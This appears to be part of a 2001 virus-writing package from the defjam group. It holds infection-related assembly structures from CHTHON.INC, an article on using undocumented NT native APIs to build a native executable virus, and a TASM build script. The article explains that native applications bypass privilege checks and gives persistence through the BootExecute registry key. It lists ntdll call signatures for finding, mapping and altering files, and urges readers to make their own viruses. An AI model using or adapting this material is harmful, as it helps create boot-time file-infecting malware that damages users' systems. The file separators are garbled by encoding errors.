LARGE_INTEGER ends
|
|||
|
|
|||
|
FILE_DIRECTORY_INFORMATION struct
|
|||
|
dirNextEntryOffset dd ?
|
|||
|
dirUnknown1 dd ?
|
|||
|
dirCreationTime LARGE_INTEGER ?
|
|||
|
dirLastAccessTime LARGE_INTEGER ?
|
|||
|
dirLastWriteTime LARGE_INTEGER ?
|
|||
|
dirChangeTime LARGE_INTEGER ?
|
|||
|
dirRealFileSize LARGE_INTEGER ?
|
|||
|
dirAllocatedSize LARGE_INTEGER ?
|
|||
|
dirFileAttributes dd ?
|
|||
|
dirFileNameLength dd ?
|
|||
|
dirUnknown2 dw 0fh dup (?)
|
|||
|
dirFileName dw MAX_PATH + 1 dup (?)
|
|||
|
FILE_DIRECTORY_INFORMATION ends
|
|||
|
|
|||
|
findlist struct
|
|||
|
findprev dd ?
|
|||
|
findhand dd ?
|
|||
|
findname UNICODE_STRING ?
|
|||
|
findmask UNICODE_STRINGDD ?
|
|||
|
finddata FILE_DIRECTORY_INFORMATION ?
|
|||
|
findlist ends
|
|||
|
|
|||
|
coffhdr struct
|
|||
|
pemachine dw ? ;04
|
|||
|
pesectcount dw ? ;06
|
|||
|
petimedate dd ? ;08
|
|||
|
pesymbrva dd ? ;0C
|
|||
|
pesymbcount dd ? ;10
|
|||
|
peopthdrsize dw ? ;14
|
|||
|
peflags dw ? ;16
|
|||
|
coffhdr ends
|
|||
|
|
|||
|
pedir struct
|
|||
|
dirrva dd ?
|
|||
|
dirsize dd ?
|
|||
|
pedir ends
|
|||
|
|
|||
|
pehdr struct
|
|||
|
pesig dd ? ;00
|
|||
|
pecoff coffhdr <?>
|
|||
|
pemagic dw ? ;18
|
|||
|
pemajorlink db ? ;1A
|
|||
|
peminorlink db ? ;1B
|
|||
|
pecodesize dd ? ;1C
|
|||
|
peidatasize dd ? ;20
|
|||
|
peudatasize dd ? ;24
|
|||
|
peentrypoint dd ? ;28
|
|||
|
pecodebase dd ? ;2C
|
|||
|
pedatabase dd ? ;30
|
|||
|
peimagebase dd ? ;34
|
|||
|
pesectalign dd ? ;38
|
|||
|
pefilealign dd ? ;3C
|
|||
|
pemajoros dw ? ;40
|
|||
|
peminoros dw ? ;42
|
|||
|
pemajorimage dw ? ;44
|
|||
|
peminorimage dw ? ;46
|
|||
|
pemajorsubsys dw ? ;48
|
|||
|
peminorsubsys dw ? ;4A
|
|||
|
pereserved dd ? ;4C
|
|||
|
peimagesize dd ? ;50
|
|||
|
pehdrsize dd ? ;54
|
|||
|
pechksum dd ? ;58
|
|||
|
pesubsys dw ? ;5C
|
|||
|
pedllflags dw ? ;5E
|
|||
|
pestackmax dd ? ;60
|
|||
|
pestacksize dd ? ;64
|
|||
|
peheapmax dd ? ;68
|
|||
|
peheapsize dd ? ;6C
|
|||
|
peldrflags dd ? ;70
|
|||
|
pervacount dd ? ;74
|
|||
|
peexport pedir <?> ;78
|
|||
|
peimport pedir <?> ;80
|
|||
|
persrc pedir <?> ;88
|
|||
|
peexcpt pedir <?> ;90
|
|||
|
pesecurity pedir <?> ;98
|
|||
|
pereloc pedir <?> ;A0
|
|||
|
pedebug pedir <?> ;A8
|
|||
|
pearch pedir <?> ;B0
|
|||
|
peglobal pedir <?> ;B8
|
|||
|
petls pedir <?> ;C0
|
|||
|
peconfig pedir <?> ;C8
|
|||
|
pebound pedir <?> ;D0
|
|||
|
peiat pedir <?> ;D8
|
|||
|
pedelay pedir <?> ;E0
|
|||
|
pecom pedir <?> ;E8
|
|||
|
persrv pedir <?> ;F0
|
|||
|
pehdr ends
|
|||
|
|
|||
|
peexp struct
|
|||
|
expflags dd ?
|
|||
|
expdatetime dd ?
|
|||
|
expmajorver dw ?
|
|||
|
expminorver dw ?
|
|||
|
expdllrva dd ?
|
|||
|
expordbase dd ?
|
|||
|
expadrcount dd ?
|
|||
|
expnamecount dd ?
|
|||
|
expadrrva dd ?
|
|||
|
expnamerva dd ?
|
|||
|
expordrva dd ?
|
|||
|
peexp ends
|
|||
|
|
|||
|
tib struct
|
|||
|
ExceptReg dd ?
|
|||
|
StackBase dd ?
|
|||
|
StackLimit dd ?
|
|||
|
SubSystem dd ?
|
|||
|
FiberData dd ?
|
|||
|
UserPointer dd ?
|
|||
|
TibSelf dd ?
|
|||
|
TibUnknown dd 5 dup (?)
|
|||
|
TibTeb dd ?
|
|||
|
tib ends
|
|||
|
|
|||
|
teb struct
|
|||
|
tebUnknown dd 6 dup (?)
|
|||
|
heaphand dd ?
|
|||
|
teb ends
|
|||
|
|
|||
|
OBJECT_ATTRIBUTES struct
|
|||
|
ObjLength dd ?
|
|||
|
RootDirectory dd ?
|
|||
|
ObjectName dd ?
|
|||
|
Attributes dd ?
|
|||
|
SecurityDescriptor dd ?
|
|||
|
SecurityQualityOfService dd ?
|
|||
|
OBJECT_ATTRIBUTES ends
|
|||
|
|
|||
|
openstk struct
|
|||
|
openobj OBJECT_ATTRIBUTES <?>
|
|||
|
openname UNICODE_STRING <?>
|
|||
|
openedi dd ?
|
|||
|
openebx dd ?
|
|||
|
openstk ends
|
|||
|
|
|||
|
FILE_BASIC_INFORMATION struct
|
|||
|
basCreationTime LARGE_INTEGER ?
|
|||
|
basLastAccessTime LARGE_INTEGER ?
|
|||
|
basLastWriteTime LARGE_INTEGER ?
|
|||
|
basChangeTime LARGE_INTEGER ?
|
|||
|
basFileAttributes dd ?
|
|||
|
basUnknown dd ? ;missing from docs?
|
|||
|
FILE_BASIC_INFORMATION ends
|
|||
|
|
|||
|
mzhdr struct
|
|||
|
mzsig dw ? ;00
|
|||
|
mzpagemod dw ? ;02
|
|||
|
mzpagediv dw ? ;04
|
|||
|
mzrelocs dw ? ;06
|
|||
|
mzhdrsize dw ? ;08
|
|||
|
mzminalloc dw ? ;0A
|
|||
|
mzmaxalloc dw ? ;0C
|
|||
|
mzss dw ? ;0E
|
|||
|
mzsp dw ? ;10
|
|||
|
mzchksum dw ? ;12
|
|||
|
mzip dw ? ;14
|
|||
|
mzcs dw ? ;16
|
|||
|
mzreloff dw ? ;18
|
|||
|
mzfiller db 22h dup (?) ;1A
|
|||
|
mzlfanew dd ? ;3C
|
|||
|
mzhdr ends
|
|||
|
|
|||
|
pesect struct
|
|||
|
sectname db 8 dup (?)
|
|||
|
sectvirtsize dd ?
|
|||
|
sectvirtaddr dd ?
|
|||
|
sectrawsize dd ?
|
|||
|
sectrawaddr dd ?
|
|||
|
sectreladdr dd ?
|
|||
|
sectlineaddr dd ?
|
|||
|
sectrelcount dw ?
|
|||
|
sectlinecount dw ?
|
|||
|
sectflags dd ?
|
|||
|
pesect ends
|
|||
|
|
|||
|
mapsehstk struct
|
|||
|
mapsehprev dd ?
|
|||
|
mapsehexcpt dd ?
|
|||
|
mapsehregs dd 8 dup (?)
|
|||
|
mapsehsehret dd ?
|
|||
|
mapsehinfret dd ?
|
|||
|
mapsehstk ends
|
|||
|
|
|||
|
infectstk struct
|
|||
|
infdelta dd ?
|
|||
|
infmapview dd ?
|
|||
|
inffilesize dd ?
|
|||
|
infseh mapsehstk <?>
|
|||
|
infectstk ends
|
|||
|
align ;restore default alignment
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[CHTHON.INC]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[NATIVE.TXT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
The Native API
|
|||
|
roy g biv / defjam
|
|||
|
|
|||
|
-= defjam =-
|
|||
|
since 1992
|
|||
|
bringing you the viruses of tomorrow
|
|||
|
today!
|
|||
|
|
|||
|
|
|||
|
Prologue:
|
|||
|
|
|||
|
Please excuse my English. I'm still learning.
|
|||
|
|
|||
|
|
|||
|
About the author:
|
|||
|
|
|||
|
Former DOS/Win16 virus writer, author of several virus families, including
|
|||
|
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
|
|||
|
sources ;), and Virus Bulletin 9/95 for a description of what they called
|
|||
|
Rainbow. Co-author of world's first virus using circular partition trick
|
|||
|
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
|
|||
|
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
|
|||
|
rest is swapped out). Author of world's first virus using Thread Local
|
|||
|
Storage for replication (Shrug). Author of various retrovirus articles (eg
|
|||
|
see Vlad #7 for the strings that make your code invisible to TBScan). Went to
|
|||
|
sleep for a number of years. This is my third virus for Win32. It is the
|
|||
|
world's first Native executable virus. It took me weeks to research it.
|
|||
|
|
|||
|
I'm also available for joining a group. Just in case anyone is interested. ;)
|
|||
|
|
|||
|
|
|||
|
What are native applications?
|
|||
|
|
|||
|
I found out about native applications on the Sysinternals site.
|
|||
|
(www.sysinternals.com/ntw2k/info/native.shtml)
|
|||
|
The guy describes there some things about how these files are executed and
|
|||
|
which APIs they can use. There are some bugs in his description, but mostly
|
|||
|
it is good enough. Native applications run in NT/2000/XP and they load before
|
|||
|
the Win32 subsystem loads (kernel32, user32, etc). They have full access to
|
|||
|
the file system and no privilege checks! Most of the APIs are undocumented,
|
|||
|
but if you debug the kernel32 APIs, you see that they call the native APIs
|
|||
|
(ntdll) and you can work out the important parameters.
|
|||
|
|
|||
|
Some points now:
|
|||
|
Native applications can run from %Windows%, not just %System%.
|
|||
|
The heap handle is available via [fs:[0x30]+0x18]). No need to create heap.
|
|||
|
NtProcessTerminate() runs if application crashes (so crash to save bytes :) ).
|
|||
|
Native applications must terminate before Win32 subsystem can load, so it is
|
|||
|
important to not take too much time. There is no background execution here.
|
|||
|
|
|||
|
|
|||
|
How to build a native application?
|
|||
|
|
|||
|
You'll need a copy of ntdll.lib to build a native application, but you can use
|
|||
|
the native API without being a native application - just use GetModuleHandle()
|
|||
|
to load ntdll then GetProcAddress(), but know that privilege checks apply to
|
|||
|
native APIs used by not-native applications.
|
|||
|
|
|||
|
|
|||
|
How to run a native application?
|
|||
|
|
|||
|
Native applications use subsystem value of 1 and must have a valid checksum.
|
|||
|
They can be loaded using the registry by altering the data in
|
|||
|
|
|||
|
HKLM\System\CurrentControlSet\Control\SessionManager\BootExecute
|
|||
|
|
|||
|
This is a MULT_SZ type so it is an array of null-terminated strings, with
|
|||
|
extra null to end the list. When the entry point is executed, the stack
|
|||
|
contains no return value. Since I couldn't find anywhere that has the ntdll
|
|||
|
image base, probably you must search memory. I import a function from ntdll
|
|||
|
to know where to start looking. They cannot be executed directly (but you can
|
|||
|
use RtlCreateProcess() to execute for testing, however SoftIce won't break on
|
|||
|
hard-coded int 3, so be careful).
|
|||
|
|
|||
|
|
|||
|
How to use the native APIs?
|
|||
|
|
|||
|
Here are the APIs from ntdll.dll that I have used. The ones marked 'x' are
|
|||
|
unknown to me, but the values are set by kernel32 and I had no need to change
|
|||
|
them. IO_STATUS_BLOCKs are altered just before the call returns, so if you do
|
|||
|
not care about the status, then point with esp and it will be discarded.
|
|||
|
|
|||
|
|
|||
|
DWORD NtClose /* kernel32 equivalent: CloseHandle */
|
|||
|
(
|
|||
|
HANDLE filehand /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtCreateSection /* kernel32 equivalent: CreateFileMapping */
|
|||
|
(
|
|||
|
PHANDLE secthand /* OUT */
|
|||
|
DWORD sectaccess /* IN */
|
|||
|
x 0 /* IN */
|
|||
|
PQWORD filesize /* IN */
|
|||
|
DWORD pageaccess /* IN */
|
|||
|
x 0x08000000 /* IN */
|
|||
|
HANDLE filehandle /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtMapViewOfSection /* kernel32 equivalent: MapViewOfFile */
|
|||
|
(
|
|||
|
HANDLE secthand /* IN */
|
|||
|
x -1 /* IN */
|
|||
|
PVOID mapview /* OUT */
|
|||
|
x 0 /* IN */
|
|||
|
x 0 /* IN */
|
|||
|
PQWORD origin /* IN */
|
|||
|
PQWORD mapsize /* IN */
|
|||
|
x 1 /* IN */
|
|||
|
x 0 /* IN */
|
|||
|
DWORD pageaccess /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtOpenFile /* kernel32 equivalent: none
|
|||
|
Similar to CreateFile when OPEN_EXISTING, but directories
|
|||
|
must also be opened with this function, in order to access
|
|||
|
the files inside
|
|||
|
*/
|
|||
|
(
|
|||
|
PHANDLE filehand /* IN */
|
|||
|
ACCESS_MASK access /* IN */
|
|||
|
POBJECT_ATTRIBUTES objattr /* IN */
|
|||
|
PIO_STATUS_BLOCK status /* OUT */
|
|||
|
DWORD share /* IN */
|
|||
|
DWORD flags /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtQueryDirectoryFile /* kernel32 equivalent: FindFirstFile (restart: 1)
|
|||
|
FindNextFile (restart: 0)
|
|||
|
*/
|
|||
|
(
|
|||
|
HANDLE filehand /* IN */
|
|||
|
HANDLE event /* IN */
|
|||
|
x 0 /* IN */
|
|||
|
x 0 /* IN */
|
|||
|
PIO_STATUS_BLOCK status /* OUT */
|
|||
|
PVOID fileinfo /* OUT */
|
|||
|
DWORD infosize /* IN */
|
|||
|
FILE_INFORMATION_CLASS class /* IN */
|
|||
|
BOOLEAN single /* IN */
|
|||
|
PUNICODE_STRING filename /* IN */
|
|||
|
BOOLEAN restart /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtSetInformationFile /* kernel32 equivalent: none
|
|||
|
Combines SetFileAttibutes and SetFileTime
|
|||
|
(can set either or both in single call)
|
|||
|
*/
|
|||
|
(
|
|||
|
HANDLE filehand /* IN */
|
|||
|
PIO_STATUS_BLOCK status /* OUT */
|
|||
|
PVOID fileinfo /* IN */
|
|||
|
DWORD infosize /* IN */
|
|||
|
FILE_INFORMATION_CLASS class /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD NtUnmapViewOfSection /* kernel32 equivalent: UnmapViewOfFile */
|
|||
|
(
|
|||
|
x -1 /* IN */
|
|||
|
PVOID mapview /* IN */
|
|||
|
)
|
|||
|
|
|||
|
PVOID RtlAllocateHeap /* kernel32 equivalent: HeapAlloc */
|
|||
|
(
|
|||
|
HANDLE heaphand /* IN */
|
|||
|
DWORD flags /* IN */
|
|||
|
DWORD size /* IN */
|
|||
|
)
|
|||
|
|
|||
|
BOOLEAN RtlDosPathNameToNtPathName_U /* kernel32 equivalent: none
|
|||
|
Similar to GetFullPathName
|
|||
|
*/
|
|||
|
(
|
|||
|
PWSTR inpath /* IN */
|
|||
|
PUNICODE_STRING devname /* OUT */
|
|||
|
/* and .Buffer must be freed by caller */
|
|||
|
PWSTR filename /* OUT */
|
|||
|
PUNICODE_STRING outpath /* OUT */
|
|||
|
)
|
|||
|
|
|||
|
BOOLEAN RtlFreeHeap /* kernel32 equivalent: HeapFree */
|
|||
|
(
|
|||
|
HANDLE heaphand /* IN */
|
|||
|
DWORD flags /* IN */
|
|||
|
PVOID buffer /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD RtlRandom /* kernel32 equivalent: none
|
|||
|
GetTickCount can be used, but it's not really random
|
|||
|
*/
|
|||
|
(
|
|||
|
PDWORD seed /* IN */
|
|||
|
)
|
|||
|
|
|||
|
DWORD RtlSetCurrentDirectory_U /* kernel32 equivalent: SetCurrentDirectory */
|
|||
|
(
|
|||
|
PUNICODE_STRING subdir /* IN */
|
|||
|
)
|
|||
|
|
|||
|
|
|||
|
Epilogue:
|
|||
|
|
|||
|
Now you want to look at my example code and then to make your own examples.
|
|||
|
There are many possibilities with this technique that make it very
|
|||
|
interesting. It is easy when you know how. Just use your imagination.
|
|||
|
|
|||
|
|
|||
|
Greets to the old Defjam crew:
|
|||
|
|
|||
|
Prototype, RTFishel, Obleak, and The Gingerbread Man
|
|||
|
|
|||
|
|
|||
|
rgb/dj nov 2001
|
|||
|
iam_rgb@hotmail.com
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[NATIVE.TXT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
|
|||
|
@echo off
|
|||
|
if %1.==. goto usage
|
|||
|
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
|
|||
|
if errorlevel 1 goto end
|
|||
|
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
|
|||
|
del %1.obj
|
|||
|
goto end
|
|||
|
|
|||
|
:usage
|
|||
|
echo.
|
|||
|
echo Usage: MAKE filename
|
|||
|
echo eg. MAKE CHTHON
|
|||
|
echo requires %tasm32% set to TASM directory (eg C:\TASM)
|
|||
|
|
|||
|
:end
|
|||
|
echo.
|
|||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
|